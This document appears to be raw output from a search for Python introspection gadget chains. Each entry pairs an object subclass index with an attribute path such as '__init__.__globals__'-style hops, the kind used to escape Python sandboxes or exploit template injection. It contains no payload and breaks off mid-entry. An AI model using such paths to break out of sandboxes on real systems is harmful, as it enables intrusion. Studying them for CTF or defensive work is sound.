"Subclass 104: ..get_source.__get__.__self__", "Subclass 80: ..__repr__.__init__.__self__", "Subclass 134: ..__call__.__format__.__self__", "Subclass 95: ..__getitem__.__delattr__.__self__", "Subclass 183: ..closegroup.__init_subclass__.__self__", "Subclass 106: ..encode.__gt__.__self__", "Subclass 109: ..read.__ge__.__self__", "Subclass 177: ..push", "Subclass 133: ..close.__lt__.__self__", "Subclass 109: ..__enter__.__init__.__self__", "Subclass 107: ..__init_subclass__.__self__.setstate", "Subclass 105: ..contents.__new__.__self__", "Subclass 172: ..__get__.__format__.__self__", "Subclass 81: ..acquire.__getattribute__.__self__", "Subclass 139: ..__subclasshook__.__self__.__str__", "Subclass 185: ..getuntil.__get__.__self__", "Subclass 106: ..decode.__gt__.__self__", "Subclass 164: ..repr_array.__getattribute__.__self__", "Subclass 184: ..__getitem__.__le__.__self__", "Subclass 177: ..callback.__get__.__objclass__", "Subclass 164: ..repr_str.__reduce__.__self__", "Subclass 138: ..__init__.__gt__.__self__", "Subclass 138: ..send.__get__.__self__", "Subclass 86: ..__init_subclass__.__self__.exec_module", "Subclass 94: ..load_module.__format__.__self__", "Subclass 137: ..__init__", "Subclass 138: ..__subclasshook__.__self__.__iter__", "Subclass 132: ..__call__.__ge__.__self__", "Subclass 133: ..close.__repr__.__self__", "Subclass 110: ..__iter__.__ge__.__self__", "Subclass 96: ..get_code.__reduce__.__self__", "Subclass 96: ..module_repr.__self__.exec_module", "Subclass 110: ..__subclasshook__.__self__.readline", "Subclass 95: ..__len__.__dir__.__self__", "Subclass 135: ..__repr__.__repr__.__objclass__", "Subclass 137: ..deleter.__eq__.__self__", "Subclass 183: ..__init__.__dir__.__self__", "Subclass 184: ..__delitem__.__sizeof__.__self__", "Subclass 199: ..open_resource.__reduce_ex__.__self__", "Subclass 105: ..__init__.__lt__.__self__", "Subclass 138: ..send.__ne__.__self__", "Subclass 109: ..__exit__.__reduce_ex__.__self__", "Subclass 110: ..write.__repr__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_set", "Subclass 164: .._repr_iterable.__class__", "Subclass 137: ..__delete__.__subclasshook__.__self__", "Subclass 108: ..decode.__repr__.__objclass__", "Subclass 104: ..get_source.__reduce_ex__.__self__", "Subclass 164: ..repr_int.__ne__.__self__", "Subclass 177: ..enter_context.__hash__.__self__", "Subclass 83: ..__weakref__.__objclass__.__init__", "Subclass 164: ..repr_frozenset.__le__.__self__", "Subclass 198: ..create_module.__get__.__objclass__", "Subclass 179: ..__class__._convert_", "Subclass 196: ..Pattern.__instancecheck__.__func__", "Subclass 105: ..contents.__sizeof__.__self__", "Subclass 95: ..__iter__.__init_subclass__.__self__", "Subclass 105: ..resource_path.__subclasshook__.__self__", "Subclass 94: ..open_resource.__repr__.__self__", "Subclass 94: ..__init__.__subclasshook__.__self__", "Subclass 133: ..__exit__.__getattribute__.__self__", "Subclass 86: ..module_repr.__init__.__self__", "Subclass 137: ..deleter", "Subclass 185: ..match.__get__.__self__", "Subclass 185: ..getuntil.__lt__.__self__", "Subclass 185: ..error.__hash__.__self__", "Subclass 86: ..module_repr.__subclasshook__.__self__", "Subclass 175: ..__weakref__.__objclass__._recreate_cm", "Subclass 80: ..has_deadlock.__le__.__self__", "Subclass 195: ..TextIO.flush.__class__", "Subclass 104: ..find_module.__init_subclass__.__self__", "Subclass 108: ..decode.__init__.__self__", "Subclass 80: ..release.__repr__.__self__", "Subclass 104: ..get_source.__repr__.__objclass__", "Subclass 96: ..get_source.__new__.__self__", "Subclass 104: ..__init__.__init__.__self__", "Subclass 110: ..readline.__lt__.__self__", "Subclass 130: ..__len__.__str__.__self__", 'Global func 1: ..__class__.__kwdefaults__.__objclass__', "Subclass 95: ..__init__.__hash__.__self__", "Subclass 80: ..__init__.__repr__.__self__", "Subclass 172: ..__init__.__ne__.__self__", "Subclass 185: ..getuntil.__getattribute__.__self__", "Subclass 139: ..__init__.__call__.__self__", "Subclass 109: ..__subclasshook__.__self__.__next__", "Subclass 94: ..__eq__.__hash__.__self__", "Subclass 196: ..Pattern.__mro_entries__.__func__", "Subclass 177: .._push_cm_exit.__call__.__self__", "Subclass 94: ..open_resource.__init_subclass__.__self__", "Subclass 138: ..__iter__", "Subclass 105: ..contents.__le__.__self__", "Subclass 107: ..encode.__repr__.__objclass__", "Subclass 137: ..__delete__.__get__.__self__", "Subclass 109: ..write.__ne__.__self__", "Subclass 195: ..BinaryIO.__class_getitem__.__func__", "Subclass 106: ..encode.__dir__.__self__", "Subclass 135: ..__repr__.__sizeof__.__self__", "Subclass 109: ..__enter__.__sizeof__.__self__", "Subclass 95: ..__subclasshook__.__self__.__setitem__", "Subclass 109: ..readline.__repr__.__self__", "Subclass 138: ..__iter__.__call__.__objclass__", "Subclass 164: ..repr_deque.__get__.__self__", "Subclass 164: ..repr.__gt__.__self__", "Subclass 131: ..__contains__.__getattribute__.__self__", "Subclass 133: ..__enter__.__repr__.__self__", "Subclass 104: ..get_filename.__class__", "Subclass 95: ..__len__.__ne__.__self__", "Subclass 134: ..__call__.__reduce__.__self__", "Subclass 104: ..is_package.__sizeof__.__self__", "Subclass 82: ..__enter__.__init__.__self__", "Subclass 96: ..__init_subclass__.__self__.load_module", "Subclass 138: ..throw.__gt__.__self__", "Subclass 98: ..invalidate_caches.__reduce__.__self__", "Subclass 140: ..__enter__.__delattr__.__self__", "Subclass 81: ..acquire.__get__.__objclass__", "Subclass 110: ..seek.__dir__.__self__", "Subclass 196: ..Pattern.__repr__.__func__", "Subclass 110: ..read.__repr__.__objclass__", "Subclass 177: ..push.__ne__.__self__", "Subclass 183: ..__init__.__hash__.__self__", "Subclass 140: ..__enter__.__call__.__self__", "Subclass 137: ..__delete__.__gt__.__self__", "Subclass 195: ..IO.writable", "Subclass 109: ..__init__.__ge__.__self__", "Subclass 132: ..__call__.__getattribute__.__self__", "Subclass 185: ..match.__call__.__objclass__", "Subclass 109: ..__init__.__le__.__self__", "Subclass 81: ..release.__dir__.__self__", "Subclass 94: ..get_data.__get__.__self__", "Subclass 98: .._get_spec.__class__", "Subclass 104: ..find_module.__call__.__objclass__", "Subclass 94: ..__eq__.__getattribute__.__self__", "Subclass 105: ..open_resource.__delattr__.__self__", "Subclass 110: ..__next__.__init_subclass__.__self__", "Subclass 104: ..find_module.__subclasshook__.__self__", "Subclass 108: ..__init__.__delattr__.__self__", "Subclass 109: ..__enter__.__str__.__self__", "Subclass 104: ..get_filename.__get__.__self__", "Subclass 137: ..__init__.__gt__.__self__", "Subclass 186: ..__init__.__call__.__objclass__", "Subclass 133: ..__exit__.__repr__.__self__", "Subclass 131: ..__contains__.__ge__.__self__", "Subclass 95: ..__setitem__.__call__.__objclass__", "Subclass 185: ..getwhile.__repr__.__objclass__", "Subclass 198: ..__class__.__new__.__class__", "Subclass 117: ..__aiter__.__init__.__self__", "Subclass 94: ..load_module.__init_subclass__.__self__", "Subclass 104: ..get_resource_reader.__lt__.__self__", "Subclass 175: ..__call__.__repr__.__self__", "Subclass 183: ..checkgroup.__get__.__self__", "Subclass 137: ..__delete__.__sizeof__.__self__", "Subclass 86: ..exec_module.__repr__.__self__", "Subclass 98: ..__init__.__get__.__self__", "Subclass 97: .._get_spec.__func__", "Subclass 195: ..IO.read.__class__", "Subclass 109: ..__enter__.__delattr__.__self__", "Subclass 140: ..__repr__.__repr__.__self__", "Subclass 164: ..repr_set.__subclasshook__.__self__", "Subclass 104: ..get_source.__get__.__objclass__", "Subclass 109: ..__getattr__.__subclasshook__.__self__", "Subclass 109: ..__init_subclass__.__self__.write", "Subclass 109: ..__init__.__reduce_ex__.__self__", "Subclass 94: ..__eq__.__ne__.__self__", "Subclass 164: ..repr_dict.__reduce__.__self__", "Subclass 183: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__getitem__.__init__.__self__", "Subclass 185: ..seek.__call__.__objclass__", "Subclass 199: ..is_resource.__init__.__self__", "Subclass 136: ..__repr__.__str__.__self__", "Subclass 164: ..repr_set.__hash__.__self__", "Subclass 105: ..is_resource.__gt__.__self__", "Subclass 164: ..repr_frozenset.__class__", "Subclass 110: ..__init__.__str__.__self__", "Subclass 184: ..append.__setattr__.__self__", "Subclass 94: ..__eq__.__gt__.__self__", "Subclass 164: ..repr_str.__ge__.__self__", "Subclass 110: ..__enter__.__lt__.__self__", "Subclass 104: ..__weakref__.__objclass__.__repr__", "Subclass 107: ..getstate.__reduce__.__self__", "Subclass 95: .._find_parent_path_names.__class__", "Subclass 164: ..repr_int.__getattribute__.__self__", "Subclass 185: ..__weakref__.__objclass__.__init__", "Subclass 81: ..release.__repr__.__self__", "Subclass 109: ..reset.__repr__.__objclass__", "Subclass 185: ..getuntil.__subclasshook__.__self__", "Subclass 94: ..__weakref__.__objclass__.open_resource", "Subclass 95: ..__init__.__le__.__self__", "Subclass 199: ..is_resource.__get__.__objclass__", "Subclass 173: ..__get__.__repr__.__objclass__", "Subclass 94: ..__init__.__eq__.__self__", "Subclass 94: ..is_resource.__dir__.__self__", "Subclass 105: ..open_resource.__class__", "Subclass 96: ..is_package.__get__.__self__", "Subclass 110: ..readlines.__class__", "Subclass 192: ..__new__.__sizeof__.__self__", "Subclass 186: ..scan.__str__.__self__", "Subclass 107: ..setstate.__getattribute__.__self__", "Subclass 139: ..__init__.__subclasshook__.__self__", "Subclass 185: ..getwhile.__ne__.__self__", "Subclass 183: ..checklookbehindgroup.__format__.__self__", "Subclass 198: ..module_repr.__setattr__.__self__", "Subclass 195: ..BinaryIO.isatty", "Subclass 109: ..seek.__hash__.__self__", "Subclass 108: ..setstate.__ne__.__self__", "Subclass 110: ..__next__.__subclasshook__.__self__", "Subclass 185: ..get.__get__.__objclass__", "Subclass 177: ..callback.__repr__.__self__", "Subclass 95: ..__iter__", "Subclass 184: ..__init_subclass__.__self__.__len__", "Subclass 95: ..__init__.__ge__.__self__", "Subclass 94: ..is_resource.__get__.__objclass__", "Subclass 94: ..resource_path.__class__", "Subclass 98: ..__repr__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__setattr__.__self__", "Subclass 109: ..__weakref__.__objclass__.__init__", "Subclass 104: ..get_code.__subclasshook__.__self__", "Subclass 164: ..repr_frozenset.__reduce_ex__.__self__", "Subclass 82: ..__exit__.__getattribute__.__self__", "Subclass 107: ..setstate.__ne__.__self__", "Subclass 95: ..__getitem__.__sizeof__.__self__", "Subclass 96: ..create_module.__format__.__self__", "Subclass 188: ..__copy__.__dir__.__self__", "Subclass 117: ..__aiter__", "Subclass 119: ..__class__._abc_caches_clear.__class__", "Subclass 110: ..read.__eq__.__self__", "Subclass 197: ..__class__.__subclasscheck__.__class__", "Subclass 105: ..is_resource.__init__.__self__", "Subclass 94: ..__init_subclass__.__self__.__eq__", "Subclass 138: ..__await__.__format__.__self__", "Subclass 183: ..opengroup.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__get__.__objclass__", "Subclass 195: ..TextIO.readlines", "Subclass 130: ..__len__.__delattr__.__self__", "Subclass 94: ..__eq__.__eq__.__self__", 'Global func 1: ..__eq__.__self__', "Subclass 107: ..setstate.__call__.__self__", "Subclass 96: ..is_package.__hash__.__self__", "Subclass 137: ..__subclasshook__.__self__.__init__", "Subclass 110: ..read.__init__.__self__", "Subclass 198: ..module_repr.__get__.__self__", "Subclass 138: ..send.__getattribute__.__self__", "Subclass 109: ..__iter__.__gt__.__self__", "Subclass 135: ..__init__.__reduce__.__self__", "Subclass 110: ..__getattr__.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__le__.__self__", "Subclass 93: ..is_package.__hash__.__self__", "Subclass 174: ..__get__.__ne__.__self__", "Subclass 138: ..__next__.__str__.__self__", "Subclass 173: ..__get__.__str__.__self__", "Subclass 164: ..repr_dict.__new__.__self__", "Subclass 184: ..dump.__lt__.__self__", "Subclass 110: ..__next__.__ge__.__self__", "Subclass 177: ..__init__.__getattribute__.__self__", "Subclass 81: ..__subclasshook__.__self__.__repr__", "Subclass 183: ..__init_subclass__.__self__.closegroup", "Subclass 110: ..writelines.__format__.__self__", "Subclass 135: ..__repr__.__new__.__self__", "Subclass 137: ..deleter.__init__.__self__", "Subclass 95: .._recalculate.__init__.__self__", "Subclass 198: ..create_module.__call__.__objclass__", "Subclass 81: ..__repr__.__repr__.__self__", "Subclass 140: ..__repr__.__call__.__objclass__", "Subclass 110: ..writelines.__sizeof__.__self__", "Subclass 137: ..deleter.__class__", "Subclass 83: ..__init__.__getattribute__.__self__", "Subclass 108: ..getstate.__call__.__self__", "Subclass 185: ..match.__hash__.__self__", "Subclass 104: ..load_module.__init_subclass__.__self__", "Subclass 164: ..repr_frozenset.__get__.__self__", "Subclass 93: ..create_module.__call__.__objclass__", "Subclass 109: ..__getattr__.__le__.__self__", "Subclass 135: ..__call__.__get__.__objclass__", "Subclass 197: ..__class__.register", "Subclass 138: ..__await__.__repr__.__self__", "Subclass 183: ..__subclasshook__.__self__.__init__", "Subclass 130: ..__len__.__get__.__objclass__", "Subclass 131: ..__contains__.__delattr__.__self__", "Subclass 82: ..__exit__.__str__.__self__", "Subclass 185: .._Tokenizer__next.__repr__.__self__", "Subclass 104: ..load_module.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__reduce__.__self__", "Subclass 188: ..__copy__.__reduce_ex__.__self__", "Subclass 138: ..close.__init_subclass__.__self__", "Subclass 93: ..load_module", "Subclass 173: ..__init__.__get__.__objclass__", "Subclass 108: ..setstate.__call__.__self__", "Subclass 135: ..__call__.__delattr__.__self__", "Subclass 164: ..repr_instance.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__dir__.__self__", "Subclass 164: ..repr_list.__setattr__.__self__", "Subclass 164: ..repr_str.__subclasshook__.__self__", "Subclass 184: ..__repr__.__delattr__.__self__", "Subclass 177: ..__init__.__ge__.__self__", "Subclass 174: ..__get__.__new__.__self__", "Subclass 196: ..Pattern.__class__.__call__", "Subclass 96: ..get_code.__eq__.__self__", "Subclass 107: ..reset.__format__.__self__", "Subclass 183: ..checkgroup.__call__.__self__", "Subclass 110: ..__enter__.__setattr__.__self__", "Subclass 117: ..__aiter__.__reduce__.__self__", "Subclass 185: .._Tokenizer__next.__delattr__.__self__", "Subclass 109: ..__exit__.__new__.__self__", "Subclass 164: .._repr_iterable.__gt__.__self__", "Subclass 134: ..__repr__.__call__.__self__", "Subclass 196: ..Pattern.__class__.copy_with", "Subclass 137: ..__delete__.__getattribute__.__self__", "Subclass 106: ..encode.__ge__.__self__", "Subclass 135: ..__repr__", "Subclass 199: ..contents.__repr__.__self__", "Subclass 95: ..__getitem__.__lt__.__self__", "Subclass 164: ..repr_instance.__setattr__.__self__", "Subclass 84: ..create_module.__func__", "Subclass 195: ..BinaryIO.seek.__class__", "Subclass 86: ..__init_subclass__.__self__.module_repr", "Subclass 110: ..__exit__.__sizeof__.__self__", "Subclass 87: ..__enter__.__str__.__self__", "Subclass 184: ..dump.__le__.__self__", "Subclass 164: ..repr_dict.__str__.__self__", "Subclass 138: ..__init__.__ge__.__self__", "Subclass 104: ..get_filename.__call__.__objclass__", "Subclass 80: ..__subclasshook__.__self__.release", "Subclass 107: ..__init__.__get__.__self__", "Subclass 95: ..__len__.__init__.__self__", "Subclass 82: ..__exit__.__sizeof__.__self__", "Subclass 83: ..__repr__.__get__.__objclass__", "Subclass 96: ..load_module.__reduce__.__self__", "Subclass 82: ..__init__.__reduce_ex__.__self__", "Subclass 138: ..throw.__getattribute__.__self__", "Subclass 185: ..getwhile.__str__.__self__", "Subclass 98: ..__init__.__hash__.__self__", "Subclass 117: ..__aiter__.__eq__.__self__", "Subclass 140: ..__init__.__init_subclass__.__self__", "Subclass 119: ..__iter__.__le__.__self__", "Subclass 139: ..__str__.__format__.__self__", "Subclass 81: ..acquire.__setattr__.__self__", "Subclass 94: ..resource_path.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__ne__.__self__", "Subclass 135: ..__repr__.__setattr__.__self__", "Subclass 137: ..setter.__le__.__self__", "Subclass 94: ..__hash__.__dir__.__self__", "Subclass 96: ..exec_module.__hash__.__self__", "Subclass 94: ..open_resource.__getattribute__.__self__", "Subclass 83: ..__repr__.__setattr__.__self__", "Subclass 138: ..__init__.__sizeof__.__self__", "Subclass 108: ..setstate.__subclasshook__.__self__", "Subclass 83: ..__repr__.__reduce__.__self__", "Subclass 95: ..__contains__.__eq__.__self__", "Subclass 104: ..is_package.__init__.__self__", "Subclass 110: ..__init__.__call__.__self__", "Subclass 184: ..__repr__.__le__.__self__", "Subclass 80: ..__init__.__setattr__.__self__", "Subclass 177: .._create_cb_wrapper.__ge__.__self__", "Subclass 104: ..get_source.__ne__.__self__", "Subclass 183: ..checkgroup.__get__.__objclass__", "Subclass 136: ..__repr__.__getattribute__.__self__", "Subclass 94: ..__weakref__.__objclass__.resource_path", "Subclass 133: ..__enter__.__str__.__self__", "Subclass 184: ..__init__.__str__.__self__", "Subclass 110: ..__init__.__gt__.__self__", "Subclass 109: ..__subclasshook__.__self__.__getattr__", "Subclass 186: ..scan.__gt__.__self__", "Subclass 199: ..resource_path.__getattribute__.__self__", "Subclass 94: ..get_filename.__le__.__self__", "Subclass 199: ..is_resource.__eq__.__self__", "Subclass 184: ..__len__.__get__.__self__", "Subclass 133: ..__enter__.__subclasshook__.__self__", "Subclass 172: .._make_unbound_method.__repr__.__objclass__", "Subclass 107: ..__init__.__lt__.__self__", "Subclass 177: ..enter_context.__call__.__self__", "Subclass 140: ..__repr__.__delattr__.__self__", "Subclass 195: ..IO.fileno.__class__", "Subclass 188: ..__copy__.__eq__.__self__", "Subclass 95: ..__iter__.__ne__.__self__", "Subclass 133: ..close.__init_subclass__.__self__", "Subclass 107: ..getstate.__str__.__self__", "Subclass 185: ..error.__dir__.__self__", "Subclass 104: ..find_module.__reduce_ex__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_resource_reader", "Subclass 183: ..checkgroup.__eq__.__self__", "Subclass 98: ..find_spec.__reduce_ex__.__self__", "Subclass 195: ..BinaryIO.write", "Subclass 94: ..contents.__format__.__self__", "Subclass 183: ..checklookbehindgroup.__le__.__self__", "Subclass 164: ..repr_array.__get__.__objclass__", "Subclass 94: ..get_resource_reader.__ne__.__self__", "Subclass 83: ..__eq__.__delattr__.__self__", "Subclass 138: ..send.__reduce_ex__.__self__", "Subclass 137: ..__set__.__setattr__.__self__", "Subclass 164: ..repr_tuple.__get__.__objclass__", "Subclass 94: ..is_resource.__subclasshook__.__self__", "Subclass 96: ..exec_module.__eq__.__self__", "Subclass 185: ..__init__.__sizeof__.__self__", "Subclass 172: .._make_unbound_method.__gt__.__self__", 'Global func 1: ..__class__.__repr__.__objclass__', "Subclass 188: ..__copy__.__setattr__.__self__", "Subclass 131: ..__contains__.__reduce_ex__.__self__", "Subclass 185: .._Tokenizer__next.__str__.__self__", "Subclass 187: ..__init_subclass__.__func__", "Subclass 179: ..__class__._create_", "Subclass 177: .._push_exit_callback.__repr__.__self__", "Subclass 108: ..__init_subclass__.__self__.reset", "Subclass 94: ..__init_subclass__.__self__.resource_path", "Subclass 137: ..__set__.__new__.__self__", "Subclass 86: ..exec_module", "Subclass 95: ..append.__format__.__self__", "Subclass 107: ..__init__.__repr__.__self__", "Subclass 87: ..__exit__.__subclasshook__.__self__", "Subclass 109: ..__next__.__call__.__self__", "Subclass 86: ..find_spec.__func__.__class__", "Subclass 110: ..writelines.__reduce_ex__.__self__", "Subclass 177: .._push_exit_callback", "Subclass 96: ..get_source.__call__.__objclass__", "Subclass 115: ..__await__.__ne__.__self__", "Subclass 184: ..append.__init_subclass__.__self__", "Subclass 96: ..get_code.__getattribute__.__self__", "Subclass 164: ..repr.__ge__.__self__", "Subclass 186: ..__weakref__.__objclass__.scan", "Subclass 133: ..__subclasshook__.__self__.__init__", "Subclass 109: ..reset.__lt__.__self__", "Subclass 198: ..load_module.__call__.__objclass__", "Subclass 137: ..__set__.__format__.__self__", "Subclass 80: ..__weakref__.__objclass__.__init__", "Subclass 109: ..writelines.__eq__.__self__", "Subclass 133: ..__exit__.__sizeof__.__self__", "Subclass 109: ..read.__get__.__self__", "Subclass 104: ..get_data.__setattr__.__self__", "Subclass 138: ..send.__lt__.__self__", "Subclass 95: ..__iter__.__new__.__self__", "Subclass 104: ..find_loader.__gt__.__self__", "Subclass 107: ..__init__.__ne__.__self__", "Subclass 95: ..__contains__.__getattribute__.__self__", "Subclass 195: ..TextIO.seek", "Subclass 95: ..append.__ne__.__self__", "Subclass 198: ..load_module.__new__.__self__", "Subclass 104: ..load_module.__delattr__.__self__", "Subclass 184: ..__getitem__.__get__.__self__", "Subclass 96: ..is_package.__le__.__self__", "Subclass 184: ..getwidth.__call__.__objclass__", "Subclass 98: ..__repr__.__get__.__objclass__", "Subclass 183: ..checkgroup.__str__.__self__", "Subclass 94: ..__eq__", "Subclass 107: ..encode.__getattribute__.__self__", "Subclass 175: ..__call__.__eq__.__self__", "Subclass 96: ..exec_module.__call__.__objclass__", "Subclass 109: ..__getattr__.__init__.__self__", "Subclass 110: ..__getattr__.__getattribute__.__self__", "Subclass 185: ..tell.__reduce__.__self__", "Subclass 134: ..__init__.__sizeof__.__self__", "Subclass 98: .._fill_cache.__get__.__objclass__", "Subclass 131: ..__contains__.__repr__.__self__", "Subclass 95: .._find_parent_path_names.__gt__.__self__", "Subclass 94: ..load_module.__getattribute__.__self__", "Subclass 184: ..__delitem__.__ge__.__self__", "Subclass 95: ..__getitem__.__ne__.__self__", "Subclass 80: ..acquire", "Subclass 94: ..get_resource_reader.__ge__.__self__", "Subclass 94: ..open_resource.__lt__.__self__", "Subclass 83: ..__eq__.__init_subclass__.__self__", "Subclass 133: ..close.__getattribute__.__self__", "Subclass 104: ..load_module.__setattr__.__self__", "Subclass 139: ..__init__.__format__.__self__", "Subclass 185: ..error.__class__", "Subclass 137: ..__get__", "Subclass 188: ..__deepcopy__.__le__.__self__", "Subclass 82: ..__init__.__delattr__.__self__", "Subclass 94: ..get_filename.__str__.__self__", "Subclass 105: ..contents", "Subclass 98: ..__repr__.__call__.__objclass__", "Subclass 114: ..__class__._abc_caches_clear", "Subclass 140: ..__init__.__subclasshook__.__self__", "Subclass 86: ..module_repr.__call__.__objclass__", "Subclass 130: ..__len__.__le__.__self__", "Subclass 109: ..seek.__init__.__self__", "Subclass 109: ..__exit__.__delattr__.__self__", "Subclass 177: .._push_cm_exit.__format__.__self__", "Subclass 81: ..release.__eq__.__self__", "Subclass 172: .._make_unbound_method.__getattribute__.__self__", "Subclass 104: ..find_module.__class__", "Subclass 164: ..repr_list.__hash__.__self__", "Subclass 110: ..__next__.__sizeof__.__self__", "Subclass 177: ..__init__.__delattr__.__self__", "Subclass 135: ..__init__.__sizeof__.__self__", "Subclass 184: ..__init__.__ne__.__self__", "Subclass 188: ..__deepcopy__.__ge__.__self__", "Subclass 108: ..setstate.__get__.__objclass__", "Subclass 98: ..__init__.__gt__.__self__", "Subclass 95: .._find_parent_path_names.__dir__.__self__", "Subclass 110: ..__weakref__.__objclass__.__next__", "Subclass 184: ..__repr__.__hash__.__self__", "Subclass 184: ..__setitem__", "Subclass 172: .._make_unbound_method.__class__", "Subclass 95: .._get_parent_path.__call__.__self__", "Subclass 83: ..__eq__.__class__", "Subclass 93: ..create_module.__get__.__self__", "Subclass 93: ..is_package.__format__.__self__", "Subclass 133: ..__getattr__.__reduce_ex__.__self__", "Subclass 137: ..__set__.__le__.__self__", "Subclass 139: ..__init__", "Subclass 164: .._repr_iterable.__get__.__objclass__", "Subclass 106: ..decode.__reduce_ex__.__self__", "Subclass 98: .._fill_cache.__init_subclass__.__self__", "Subclass 138: ..__init__.__setattr__.__self__", "Subclass 105: ..resource_path.__get__.__objclass__", "Subclass 133: ..__enter__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__gt__.__self__", "Subclass 93: ..create_module.__le__.__self__", "Subclass 104: ..load_module.__str__.__self__", "Subclass 96: ..load_module.__sizeof__.__self__", "Subclass 138: ..__next__.__new__.__self__", "Subclass 108: ..getstate.__setattr__.__self__", "Subclass 164: ..repr_str.__eq__.__self__", "Subclass 110: ..__init_subclass__.__self__.seek", "Subclass 112: ..__class__._abc_registry_clear.__class__", "Subclass 140: ..__repr__.__str__.__self__", "Subclass 174: ..__set_name__.__format__.__self__", "Subclass 133: ..__init__", "Subclass 174: ..__init__.__format__.__self__", "Subclass 184: ..__repr__.__reduce_ex__.__self__", "Subclass 98: ..path_hook.__self__.find_spec", "Subclass 98: .._get_spec.__get__.__self__", "Subclass 109: ..writelines.__str__.__self__", "Subclass 140: ..__init__.__gt__.__self__", "Subclass 139: ..__weakref__.__objclass__.__init__", "Subclass 199: ..__class__._abc_caches_clear.__class__", "Subclass 199: ..open_resource.__hash__.__self__", "Subclass 108: ..decode.__getattribute__.__self__", "Subclass 98: .._fill_cache.__get__.__self__", "Subclass 107: ..__init__.__hash__.__self__", "Subclass 164: ..repr.__setattr__.__self__", "Subclass 164: ..repr1.__sizeof__.__self__", "Subclass 198: ..__class__.__instancecheck__.__class__", "Subclass 110: ..writelines.__lt__.__self__", "Subclass 110: ..seek.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__.__init__", "Subclass 185: ..get.__get__.__self__", "Subclass 199: ..__class__._dump_registry.__class__", "Subclass 95: ..__iter__.__get__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.dump", "Subclass 94: ..__init_subclass__.__self__.contents", "Subclass 185: ..__init__.__setattr__.__self__", 'Global func 1: ..__class__.__call__.__objclass__', "Subclass 95: .._recalculate.__sizeof__.__self__", "Subclass 136: ..__call__.__str__.__self__", "Subclass 137: ..__subclasshook__.__self__.setter", "Subclass 135: ..__init__.__le__.__self__", "Subclass 136: ..__call__.__get__.__objclass__", "Subclass 199: ..resource_path.__hash__.__self__", "Subclass 164: ..repr_int.__reduce__.__self__", "Subclass 94: ..get_data.__getattribute__.__self__", "Subclass 177: ..push.__reduce__.__self__", "Subclass 81: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__init__.__reduce_ex__.__self__", "Subclass 87: ..__enter__.__repr__.__self__", "Subclass 173: ..__get__.__call__.__self__", "Subclass 94: ..get_data.__format__.__self__", "Subclass 137: ..__init_subclass__.__self__.deleter", "Subclass 98: ..__repr__.__setattr__.__self__", "Subclass 185: ..error.__repr__.__self__", "Subclass 137: ..__init__.__dir__.__self__", "Subclass 138: ..send.__eq__.__self__", "Subclass 87: ..__enter__.__get__.__objclass__", "Subclass 95: ..__init__.__get__.__objclass__", "Subclass 104: ..get_data.__hash__.__self__", "Subclass 199: ..resource_path.__repr__.__objclass__", "Subclass 140: ..__exit__.__call__.__objclass__", "Subclass 86: ..is_package.__func__", "Subclass 140: ..__repr__.__repr__.__objclass__", "Subclass 87: ..__exit__.__le__.__self__", "Subclass 185: ..get.__hash__.__self__", "Subclass 184: ..dump.__get__.__objclass__", "Subclass 104: ..__repr__.__hash__.__self__", "Subclass 179: ..__class__.__delattr__.__class__", "Subclass 110: ..__weakref__.__objclass__.write", "Subclass 130: ..__init_subclass__.__self__.__len__", "Subclass 96: ..__weakref__.__objclass__.is_package", "Subclass 164: ..repr_list.__lt__.__self__", "Subclass 135: ..__repr__.__get__.__self__", "Subclass 109: ..writelines.__repr__.__objclass__", "Subclass 138: ..throw.__new__.__self__", "Subclass 164: ..repr_tuple.__get__.__self__", "Subclass 133: ..close.__ge__.__self__", "Subclass 94: ..get_data.__setattr__.__self__", "Subclass 185: ..getuntil.__call__.__objclass__", "Subclass 80: ..__init__.__init__.__self__", "Subclass 98: ..__repr__.__reduce_ex__.__self__", "Subclass 80: ..__init__.__subclasshook__.__self__", "Subclass 110: ..__iter__.__ne__.__self__", "Subclass 106: ..decode.__new__.__self__", "Subclass 164: ..repr_int.__ge__.__self__", "Subclass 138: ..__iter__.__delattr__.__self__", "Subclass 138: ..send.__format__.__self__", "Subclass 186: ..__init_subclass__.__self__.__init__", "Subclass 98: ..__repr__.__call__.__self__", "Subclass 164: ..repr_set.__setattr__.__self__", "Subclass 105: ..resource_path.__format__.__self__", "Subclass 82: ..__exit__.__lt__.__self__", "Subclass 177: ..enter_context.__str__.__self__", "Subclass 164: ..repr_list.__init__.__self__", "Subclass 80: ..__init__.__eq__.__self__", "Subclass 110: ..__enter__.__sizeof__.__self__", "Subclass 132: ..__call__.__lt__.__self__", "Subclass 108: ..decode.__sizeof__.__self__", "Subclass 174: ..__init__.__eq__.__self__", "Subclass 109: ..readlines.__gt__.__self__", "Subclass 185: ..get.__sizeof__.__self__", "Subclass 164: ..repr_instance.__lt__.__self__", "Subclass 137: ..__get__.__le__.__self__", "Subclass 80: ..__weakref__.__objclass__.acquire", "Subclass 81: ..release.__reduce__.__self__", "Subclass 107: ..getstate.__repr__.__objclass__", "Subclass 109: ..__enter__.__init_subclass__.__self__", "Subclass 139: ..__str__.__ge__.__self__", "Subclass 184: ..__len__.__repr__.__objclass__", "Subclass 80: ..__init__.__gt__.__self__", "Subclass 138: ..close.__repr__.__objclass__", "Subclass 130: ..__len__.__getattribute__.__self__", "Subclass 185: ..getuntil.__setattr__.__self__", "Subclass 82: ..__subclasshook__.__self__.__exit__", "Subclass 108: ..reset.__repr__.__self__", "Subclass 173: ..__init__.__init__.__self__", "Subclass 199: ..is_resource.__reduce_ex__.__self__", "Subclass 184: ..__setitem__.__gt__.__self__", "Subclass 174: ..__class_getitem__.__self__.__init__", "Subclass 93: ..load_module.__get__.__objclass__", "Subclass 94: ..__hash__.__repr__.__objclass__", "Subclass 110: ..readline.__reduce__.__self__", "Subclass 186: ..scan.__init_subclass__.__self__", "Subclass 39: ..__subclasshook__.__self__", "Subclass 96: ..is_package.__call__.__objclass__", "Subclass 110: ..__getattr__", "Subclass 177: 